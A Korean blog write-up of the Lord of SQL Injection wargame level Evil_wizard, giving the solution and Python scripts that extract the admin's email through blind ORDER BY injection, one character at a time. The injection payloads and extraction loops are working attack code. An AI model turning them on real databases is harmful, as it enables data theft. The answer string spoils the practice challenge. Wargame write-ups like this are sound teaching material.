반응형
[Level 24. Evil_wizard] Sol → ?email=aasup3r_secure_email@emai1.com
23단계와 마찬가지로, order의 특성을 이용해서 email을 구해야 한다. order=1을 먼저 넣어보았다.
admin의 score가 rubiya의 score보다 작아서, 이메일을 제외한 어떤 column으로 정렬해도 admin이 먼저 출력된다.
아마 그래서 hell_fire와 똑같다고? 진짜?라는 뉘앙스의 도발(?)을 한 것이 아닐까..
근데 사실 나는 저번 단계에서 score를 안 쓰고 풀었기 때문에 똑같은 코드로 답을 구할 수 있었다.
same with hell_fire? really? 에 당당하게 yes!라고 답한 후 코드를 돌리면 된다.
이메일의 길이로 정렬해보니, 이번에도 admin의 email이 더 길게 나왔다.
그래서 이메일 길이를 23단계와 똑같은 코드로 구해주었다.
def find_length():
pwlength = 1
while True:
param = {"order": "length(email) = {}, id".format(pwlength)}
req = requests.get(url, params = param, cookies = cookie)
html = BeautifulSoup(req.text, "html.parser")
table = html.find_all("td")
if "rubiya" in table[0]:
return pwlength
else:
pwlength+=1
원래 score처럼 admin이 위에 정렬되는 코드를 사용해야 했다면 reverse를 이용해서 nimda과 ayibur를 비교하려고 했었다.
하지만 id만 사용하기 때문에.. 이메일 각 글자도 23단계와 똑같은 코드로 구해주었다.
def find_pw():
length = find_length()
print("이메일 길이 : ", length)
password = ""
for i in range(length):
value = 46
while True:
param = {"order": "ascii(substring(email, {}, 1)) = {}, id".format(i+1, value)}
print(param)
req = requests.get(url, params = param, cookies = cookie)
html = BeautifulSoup(req.text, "html.parser")
table = html.find_all("td")
if "rubiya" in table[0]:
password += chr(value)
break
else:
value+=1
if value > 128:
email = "rubiya805@gmail.com"
password+=email[i]
break
반응형
'WarGames > SQL Injection' 카테고리의 다른 글
Lord of SQL Injection : Hell_fire[23] (0) | 2021.12.28 |
---|---|
Lord of SQL Injection : Dark_eyes[22] (0) | 2021.12.25 |
Lord of SQL Injection : Iron_golem[21] (0) | 2021.12.24 |
Lord of SQL Injection : Dragon[20] (0) | 2021.12.22 |
Lord of SQL Injection : Xavis[19] (0) | 2021.12.19 |
댓글